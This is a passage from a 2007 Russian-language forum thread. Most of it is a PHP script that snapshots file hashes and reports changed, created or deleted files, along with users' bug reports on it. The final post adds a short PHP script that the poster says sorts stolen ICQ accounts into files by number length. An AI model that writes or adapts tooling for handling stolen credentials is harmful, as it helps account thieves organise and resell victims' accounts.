if(filetype($catalog.'/'.$file)==='file')$cat_file[$catalog].=urlencode($file).':'.md5(implode('',file($catalo g.'/'.$file))).'>';
if((filetype($catalog.'/'.$file)==='dir')){
foreach(new_scan_dir($catalog.'/'.$file) as $key => $value){
$cat_file[$key]=$value;
}
}
$filesh.=$catalog.'/'.$file.'
';
if($i===5){
echo($filesh);
flush();
$filesh='';
$i=0;
}
$i++;
}
}
closedir ($dir);
return $cat_file;
}

function scan_dir($all_files,$catalog){
$ret='';
$ent='
';
if(file_exists($catalog)){
if(array_key_exists($catalog, $all_files)){
if(!empty($all_files[$catalog])){
$now_dir1=explode('>',$all_files[$catalog]);
foreach($now_dir1 as $value){
$now_dir2=explode(':',$value);
$now_dir[urldecode($now_dir2[0])]=$now_dir2[1];
}
foreach($now_dir as $key => $value){
if(file_exists($catalog.'/'.$key)){
if(md5(implode('',file($catalog.'/'.$key)))!=$value)$ret.='Файл "'.$catalog.'/'.$key.'" был изменен.'.$ent;
}else $ret.='Файл "'.$catalog.'/'.$key.'" был удаленн.'.$ent;
}
$dir = opendir ($catalog);
while ($file = readdir ($dir)){
if(($file!='..')&&($file!='.')){
if((filetype($catalog.'/'.$file)==='dir'))$ret.=scan_dir($all_files,$catal og.'/'.$file);
if((filetype($catalog.'/'.$file)==='file')){
if(!array_key_exists($file, $now_dir))$ret.='Файл "'.$catalog.'/'.$file.'" был создан'.$ent;
}
}
}
closedir ($dir);
}else{
$dir = opendir ($catalog);
while ($file = readdir ($dir)){
if(($file!='..')&&($file!='.')){
if((filetype($catalog.'/'.$file)==='dir')){
if(!array_key_exists($catalog.'/'.$file, $all_files))$ret.='Папка "'.$catalog.'/'.$file.'" была создана'.$ent;
else $ret.=scan_dir($all_files,$catalog.'/'.$file);
}
if((filetype($catalog.'/'.$file)==='file'))$ret.='Файл "'.$catalog.'/'.$file.'" был создан'.$ent;
}
}
closedir ($dir);
}
}else $ret.='Папка "'.$catalog.'" была созданна.'.$ent;
}else $ret.='Папка "'.$catalog.'" была удаленна.'.$ent;
return $ret;
}

function scan_d_dir($all_files){
$ret='';
$ent='
';
foreach($all_files as $key => $value){
if(!file_exists($key))$ret.='Папка "'.$key.'" была удалена'.$ent;
}
return $ret;
}

$ent='
';
if(!empty($_GET['do'])){
if($_GET['do']==='new'){
echo('<pre>');
echo('Создание снимка...'.$ent);
$save_text='';
foreach(new_scan_dir('.') as $key => $value){
$save_text.=urlencode($key).'=>'.substr($value,0,strlen($value)-1).$ent;
}
$save_text=substr($save_text,0,strlen($save_text)-2);
$file = fopen ('data.txt','w');
fputs ( $file, $save_text);
fclose ($file);
echo('Снимок сделан...');
echo('</pre>');
}elseif($_GET['do']==='scan'){
if(file_exists('data.txt')){
$files=explode($ent,implode('',file('data.txt')));
foreach($files as $value){
$now_dir=explode('=>',$value);
$all_files[urldecode($now_dir[0])]=$now_dir[1];
}
echo('<pre>'.scan_dir($all_files,'.').scan_d_dir($all_files). '</pre>');
}
}
}
echo('<hr>
<input type="submit" value="Сделать снимок" onclick="document.location.replace(\'?do=new\')"><br>
<input type="submit" value="Сканировать" onclick="document.location.replace(\'?do=scan\')">');
?>
Вот полученный снимок:
.=>index.php:44ecd2d513e0faec7acfff7f849f7e70>data.txt:c1fe1feab40f6853be5d0555f33d596c
.%2F1=>1%F2.txt:d41d8cd98f00b204e9800998ecf8427e
.%2F1%2F2=>
.%2F1%2F2%2F3=>
.%2F1%2F2%2F3%2F4=>
.%2F1%2F2%2F3%2F4%2F5=>
.%2F1%2F2%2F3%2F4%2F5%2F6=>1.txt:e11170b8cbd2d74102651cb967fa28e5

ЗЫ Люди кто поюзал/юзает напишите нравится оно вам или нет какие минусы/плюсы, только без наркоманской критики

astrologer
10.12.2007, 01:52
1) Болезненно реагирует на пустые директории.
2) Постоянно считает один из файлов в поддиректории изменённым.

Dr.Z3r0
10.12.2007, 02:01
1) Болезненно реагирует на пустые директории.
2) Постоянно считает один из файлов в поддиректории изменённым.
насчет первого поподробнее...
насчет второго все правильно o_O так как data.txt меняется :)

astrologer
10.12.2007, 02:25
насчет первого поподробнее...
насчет второго все правильно o_O так как data.txt меняется :)
1) Скрипт находится на одном уровне с директориями:
test
cache
файлами, которые в данный момент значения не имееют. Обе директории пусты.
Делаем снимок и сканируем:
Notice: Undefined offset: 1 in y:\home\z.z\www\test.php on line 43

Warning: implode() [function.implode]: Bad arguments. in y:\home\z.z\www\test.php on line 47
Файл "./data.txt" был изменен.
Файл "./test/ " был изменен.

data.txt - всё верно.
Директория test не изменялась.

2) Да понятно, что data.txt меняется)
Оставляем только одну поддиректорию - "cache". В ней создаем файл 1.txt
Делаем снимок и сканируем, получаем:
Файл "./data.txt" был изменен. - верно
Файл "./cache/1.txt" был изменен. ?

Dr.Z3r0
10.12.2007, 02:30
Пытался повторить твой опыт в домашних условиях... У меня работает норм... O_o
Может с правами чтения чет?

astrologer
11.12.2007, 12:18
Пытался повторить твой опыт в домашних условиях... У меня работает норм... O_o
Может с правами чтения чет?
Если больше ни у кого не проявляется, то неважно.
С правами точно проблем нет

scrat
12.12.2007, 11:07
Скрипт разбивки угнанных асег по файлам:
<?php
$r=";"; //разделитель
$f=file("source.txt"); //файл с аськами
$si=fopen("6.txt","a+"); //шохи
$s=fopen("7.txt","a+"); //семёрки
$e=fopen("8.txt","a+"); //восьмёры
$n=fopen("9.txt","a+"); //девятки
$o=fopen("o.txt","a+"); //остальное
for($i=0;$i<count($f);$i++)
{
$l=explode($r,trim($f[$i]));
switch(strlen($l[0]))
{
case 6: fwrite($si,$f[$i]);break;
case 7: fwrite($s,$f[$i]);break;
case 8: fwrite($e,$f[$i]);break;
case 9: fwrite($n,$f[$i]);break;
default: fwrite($o,$f[$i]);break;
}
}
fclose($si);
fclose($s);
fclose($e);
fclose($n);
fclose($o);
?>